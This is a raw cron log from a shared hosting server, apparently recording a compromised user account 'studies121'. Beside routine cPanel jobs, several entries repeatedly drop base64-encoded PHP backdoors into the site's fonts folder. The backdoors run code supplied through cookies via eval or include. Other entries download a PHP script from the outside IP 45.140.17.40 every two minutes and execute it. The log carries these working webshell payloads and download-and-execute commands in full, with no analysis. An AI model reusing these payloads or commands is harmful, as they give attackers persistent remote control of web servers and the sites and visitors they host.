Sep  6 10:50:01 ip-184-168-122-23 CROND[26963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:50:01 ip-184-168-122-23 CROND[26964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:50:01 ip-184-168-122-23 CROND[26968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:50:01 ip-184-168-122-23 CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:50:01 ip-184-168-122-23 CROND[26970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:50:01 ip-184-168-122-23 CROND[26972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:50:01 ip-184-168-122-23 CROND[26973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:51:01 ip-184-168-122-23 CROND[27351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:51:01 ip-184-168-122-23 CROND[27352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:51:01 ip-184-168-122-23 CROND[27353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:51:01 ip-184-168-122-23 CROND[27354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:52:01 ip-184-168-122-23 CROND[27685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:52:01 ip-184-168-122-23 CROND[27686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:52:01 ip-184-168-122-23 CROND[27690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:52:01 ip-184-168-122-23 CROND[27688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:52:01 ip-184-168-122-23 CROND[27691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:53:01 ip-184-168-122-23 CROND[27977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:53:01 ip-184-168-122-23 CROND[27979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:53:01 ip-184-168-122-23 CROND[27980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:53:01 ip-184-168-122-23 CROND[27978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:54:01 ip-184-168-122-23 CROND[28352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:54:01 ip-184-168-122-23 CROND[28354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:54:01 ip-184-168-122-23 CROND[28356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:54:01 ip-184-168-122-23 CROND[28355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:54:01 ip-184-168-122-23 CROND[28357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:55:01 ip-184-168-122-23 CROND[28633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:55:01 ip-184-168-122-23 CROND[28635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:55:01 ip-184-168-122-23 CROND[28639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:55:01 ip-184-168-122-23 CROND[28637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:55:01 ip-184-168-122-23 CROND[28640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:55:01 ip-184-168-122-23 CROND[28641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:56:01 ip-184-168-122-23 CROND[28909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:56:01 ip-184-168-122-23 CROND[28910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:56:01 ip-184-168-122-23 CROND[28911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:56:01 ip-184-168-122-23 CROND[28913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:56:01 ip-184-168-122-23 CROND[28914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:57:01 ip-184-168-122-23 CROND[29169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:57:01 ip-184-168-122-23 CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:57:01 ip-184-168-122-23 CROND[29172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:57:01 ip-184-168-122-23 CROND[29171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:58:01 ip-184-168-122-23 CROND[29426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:58:01 ip-184-168-122-23 CROND[29427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:58:01 ip-184-168-122-23 CROND[29428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:58:01 ip-184-168-122-23 CROND[29429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:58:01 ip-184-168-122-23 CROND[29430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:59:01 ip-184-168-122-23 CROND[29811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:59:01 ip-184-168-122-23 CROND[29813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:59:01 ip-184-168-122-23 CROND[29814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:59:01 ip-184-168-122-23 CROND[29815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:00:02 ip-184-168-122-23 CROND[30101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:00:02 ip-184-168-122-23 CROND[30105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:00:02 ip-184-168-122-23 CROND[30107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:00:02 ip-184-168-122-23 CROND[30104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:00:02 ip-184-168-122-23 CROND[30103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:00:02 ip-184-168-122-23 CROND[30108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:00:02 ip-184-168-122-23 CROND[30109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:00:02 ip-184-168-122-23 CROND[30106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:01:01 ip-184-168-122-23 CROND[30279]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30279]: starting 0anacron
Sep  6 11:01:01 ip-184-168-122-23 CROND[30285]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:01:01 ip-184-168-122-23 CROND[30286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:01:01 ip-184-168-122-23 CROND[30289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:01:01 ip-184-168-122-23 CROND[30287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:01:01 ip-184-168-122-23 CROND[30290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30300]: finished 0anacron
Sep  6 11:02:01 ip-184-168-122-23 CROND[30621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:02:01 ip-184-168-122-23 CROND[30623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:02:01 ip-184-168-122-23 CROND[30625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
